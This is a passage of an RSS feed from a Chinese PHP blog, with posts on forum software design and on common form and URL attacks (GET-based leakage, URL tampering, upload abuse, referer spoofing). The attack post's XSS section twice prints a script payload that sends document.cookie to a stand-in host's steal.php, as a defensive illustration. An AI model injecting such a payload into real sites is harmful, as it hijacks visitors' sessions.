#339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span>
	       <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
	          <span style="color: #000088;">$pointer</span>
	       <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></div></div>

<p>这个东西有更好的写法，而且全角状态的符号在之前已经过滤了，在此可删除，我懒，抛砖引玉吧</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2F%25E5%2588%259D%25E5%25AD%25A6php%25E7%259A%258418%25E4%25B8%25AA%25E5%259F%25BA%25E7%25A1%2580%25E4%25BE%258B%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">初学PHP的18个基础例程</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/08/21/reg-gbx/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>论坛程序设计的思考</title>
		<link>http://fendou.org/2009/08/07/think-for-bbs/</link>
		<comments>http://fendou.org/2009/08/07/think-for-bbs/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 03:02:47 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PhpWind]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=561</guid>
		<description><![CDATA[新入公司，项目被老同志分的七七八八，系统还没有足够的熟悉，暂时清闲了几天，看了几天的代码，有面向对象的，更多的是面向过程的，这篇博文的title值得商榷的，反正我不知道该取什么名字，姑且唬人一下。 1）设计目标，任何软件都需要一个设计目标，比如目标用户，并发数等等，论坛这个东西实时性很强，同时在线人数一般不高，如果很高的话一般会自己做，或者请公司定制开发或优化。撑死了几千人同时在线，很多论坛的设计目标就是没有目标，看到好的功能和界面，拿过来，改改，堆上去，完事 2）模块划分，市面上的几个论坛软件大多还是沿用了N多年前的架构，面向过程，而且过程不清晰，虽然在用户后台看上去好像各个功能挺独立的，看看代码就知道，里面定义了一堆全局变量，更奇怪的是没有注释，还有好几个是没用的，代码重复率非常高，require来include去，绕啊，绕啊，我就晕了~~，功能模块都没能独立，更没法谈耦合和内聚了~ 3）数据库设计，这个挺有意思的，曾经“有幸”阅读过discuz不知道几点几版本的代码，里面的SQL写得令人毛骨悚然，不得不佩服写这个SQL语句程序员的数据库造诣之深，反正我是没写过，也写不出来，我的原则是，能一次查询的不做两次查，能不用jion的就坚决不用，discuz的表有上百个之多，phpwind更是超过150个，且有不断增加之趋势，清一色使用mysql，而且还是用的MYISAM引擎，好吧，1000个并发的时候，discuz 7是挂掉了，phpwind没测试过，暂时不评论。数据表设计时冗余是必要的，不一定非要遵循范式规则，过度随意就成了灾难，我看到数据库中居然有q1,q2,q3一直到q21这样的字段，通通都是int型的，而且绝大部分都是空的，浪费空间之严重令人非常惊讶，且不说这个命名十分之不友好，这个东西能这样做的么，假如真的需要21个同样类型的q这种东西，为啥不再分一张表，然后给个ID连接一下不就好了么，这仅仅是一个例子，N张表都能找到这样的例子。用户表是论坛的核心表之一，论坛有积分啊，签名啊，生日啊，等级啊，权限啊之类之类的，用户属性自然是多之又多，可是再多也不能全放一个表里，一个表里有六七十个属性，这像话么！！绝大部分属性普通用户都是空的，又是一个“占着茅坑不拉屎”的表设计，大部分用户注册时能不填的肯定不会填，就那么昵称啊，email啊，密码啊几个字段需要insert，至于牵动六七十个属性同时更改一遍么，myisam引擎insert是加的是表级锁的啊，郁闷，纵向拆分这张表！ 4）错误处理，出错了，前面加个@好了，让别人都看不到就不会有什么问题了，嗯，这个似乎是可以防止因为出错信息而泄漏一些东西，可是总得让自己知道怎么回事啊，不然怎么解决呢，还好都有官方论坛可以去问，大多数时候管理员也不知道用户出了什么问题，只能靠猜，为什么不记录一个log呢？！ 5）不想说了~~先把前面的改了再说……<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F05%2F28%2Fphp-mysql-procedure%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP中操作mysql执行存储过程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F02%2F26%2Fmysql-trigger-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">MySQL触发器介绍</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F07%2F05%2Fmysql-index-limit%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">MySQL中索引限制</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>新入公司，项目被老同志分的七七八八，系统还没有足够的熟悉，暂时清闲了几天，看了几天的代码，有面向对象的，更多的是面向过程的，这篇博文的title值得商榷的，反正我不知道该取什么名字，姑且唬人一下。</p>
<p>1）设计目标，任何软件都需要一个设计目标，比如目标用户，并发数等等，论坛这个东西实时性很强，同时在线人数一般不高，如果很高的话一般会自己做，或者请公司定制开发或优化。撑死了几千人同时在线，很多论坛的设计目标就是没有目标，看到好的功能和界面，拿过来，改改，堆上去，完事</p>
<p>2）模块划分，市面上的几个论坛软件大多还是沿用了N多年前的架构，面向过程，而且过程不清晰，虽然在用户后台看上去好像各个功能挺独立的，看看代码就知道，里面定义了一堆全局变量，更奇怪的是没有注释，还有好几个是没用的，代码重复率非常高，require来include去，绕啊，绕啊，我就晕了~~，功能模块都没能独立，更没法谈耦合和内聚了~</p>
<p>3）数据库设计，这个挺有意思的，曾经“有幸”阅读过discuz不知道几点几版本的代码，里面的SQL写得令人毛骨悚然，不得不佩服写这个SQL语句程序员的数据库造诣之深，反正我是没写过，也写不出来，我的原则是，能一次查询的不做两次查，能不用jion的就坚决不用，discuz的表有上百个之多，phpwind更是超过150个，且有不断增加之趋势，清一色使用mysql，而且还是用的MYISAM引擎，好吧，1000个并发的时候，discuz 7是挂掉了，phpwind没测试过，暂时不评论。数据表设计时冗余是必要的，不一定非要遵循范式规则，过度随意就成了灾难，我看到数据库中居然有q1,q2,q3一直到q21这样的字段，通通都是int型的，而且绝大部分都是空的，浪费空间之严重令人非常惊讶，且不说这个命名十分之不友好，这个东西能这样做的么，假如真的需要21个同样类型的q这种东西，为啥不再分一张表，然后给个ID连接一下不就好了么，这仅仅是一个例子，N张表都能找到这样的例子。用户表是论坛的核心表之一，论坛有积分啊，签名啊，生日啊，等级啊，权限啊之类之类的，用户属性自然是多之又多，可是再多也不能全放一个表里，一个表里有六七十个属性，这像话么！！绝大部分属性普通用户都是空的，又是一个“占着茅坑不拉屎”的表设计，大部分用户注册时能不填的肯定不会填，就那么昵称啊，email啊，密码啊几个字段需要insert，至于牵动六七十个属性同时更改一遍么，myisam引擎insert是加的是表级锁的啊，郁闷，纵向拆分这张表！</p>
<p>4）错误处理，出错了，前面加个@好了，让别人都看不到就不会有什么问题了，嗯，这个似乎是可以防止因为出错信息而泄漏一些东西，可是总得让自己知道怎么回事啊，不然怎么解决呢，还好都有官方论坛可以去问，大多数时候管理员也不知道用户出了什么问题，只能靠猜，为什么不记录一个log呢？！</p>
<p>5）不想说了~~先把前面的改了再说……</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F05%2F28%2Fphp-mysql-procedure%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP中操作mysql执行存储过程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F02%2F26%2Fmysql-trigger-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">MySQL触发器介绍</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F07%2F05%2Fmysql-index-limit%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F07%2Fthink-for-bbs%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">MySQL中索引限制</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/08/07/think-for-bbs/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>表单及URL攻击的几种方法</title>
		<link>http://fendou.org/2009/07/15/form-and-url-attack-methods/</link>
		<comments>http://fendou.org/2009/07/15/form-and-url-attack-methods/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 14:38:44 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[常识]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=546</guid>
		<description><![CDATA[有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。 1)表单数据泄漏攻击 这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:) 2)语义URL攻击 这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&#38;email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据 3）文件上传攻击 文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。 4）跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。 所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。 比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入&#60;script&#62; document.location = &#8217;http://abc.example.org/steal.php?cookies=&#8217; + document.cookie&#60;/script&#62;，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。 5）HTTP请求欺骗攻击 所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。 毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤，Web安全习惯上将所有用户输入的数据假定为受污染的数据（即可能带有攻击性的数据），现在比较流行的XSS（跨站脚本攻击）就是利用对用户输入过滤不完全而进行的攻击，因为用户数据过滤不完全会导致很多很多问题，我这里只是简单的介绍几种比较常见的表单及URL攻击方式，希望读者能够最大限度的注意过滤用户输入。</p>
<p>1)表单数据泄漏攻击</p>
<p>这个一般刚入行的人可能会犯错，说得通俗一点，就是该用POST方式提交数据的时候，用了GET方式提交数据，比如，用户登录时候用了GET方法，导致用户名和密码都在URL上直接显示出来了，当然假如真的傻到这种程度，这种应用大多还是属于自己玩玩的东西，不是产品。还有一种是登录等操作，在提交数据的时候被窃听或者拦截了，这种没有很好的方式去解决，最多就是利用可以在浏览器上执行的脚本，比如JavaScript对密码和用户加密后提交到服务器，而且最好采用不可逆的公共算法，在浏览器端执行的脚本如果使用自己的算法，会增加被破解的几率，当然如果你的加密程度能超过或者接近现在流行的公共加密算法，那么也是可以的:)</p>
<p>2)语义URL攻击</p>
<p>这也是利用提交的形式及参数进行攻击的，假如使用GET方式找回密码，url为：http://example.org/private.php?user=abc&amp;email=abc@11.org，那么产生的攻击也很简单，只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中，轻松获取别人密码，POST方式大体也是通过窃听方式获得提交的数据</p>
<p>3）文件上传攻击</p>
<p>文件上传造成的危害在表单攻击中是最大的，假如成功入侵，最坏的情况甚至是可以干任何想干的事情，因此对此不可小觑。常见的有大文件攻击，假如你的服务端没有做限制的话，那么你的硬盘很快就会被塞满，或者是你在客户端中只是简单的限制了一下，那些对于心怀不轨者都是摆设，太容易绕开了。假如上传的是一个可执行的脚本，在某种情况下会激活这个脚本，那么后果就不堪设想，验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者，但根本还是让存放用户上传的文件的目录没有执行权限，脚本不能执行，那么它也仅仅是一般文本而已。</p>
<p>4）跨站脚本攻击</p>
<p>跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。</p>
<p>所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是Blog。事实上，大多数Web应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。</p>
<p>比如在一个博客平台提供商，一个心怀不轨的用户在写博客时故意在内容中插入&lt;script&gt; document.location = &#8217;http://abc.example.org/steal.php?cookies=&#8217; + document.cookie&lt;/script&gt;，结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。</p>
<p>5）HTTP请求欺骗攻击</p>
<p>所谓上有政策下有对策，很多项目为了最大程度的得到高可信度的用户输入，甚至添加了判断referer的功能，可惜这个东西十分的不靠谱，随便一个CURL就可以欺骗过去。</p>
<p>毕竟所有的传输都只是个协议而已，而HTTP协议本身只是负责传输，并不负责诸如安全之类的其他问题，所以过程怎么伪造都是可以的，只要攻击者足够的熟悉HTTP协议，针对HTTP协议本身的攻击，似乎目前还没有看到，虽然欺骗、攻击随处可见，方式变化多样，只要做好了过滤，多想一点再多想一点，任何攻击得到的都是一个错误页面而已 <img src='http://fendou.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
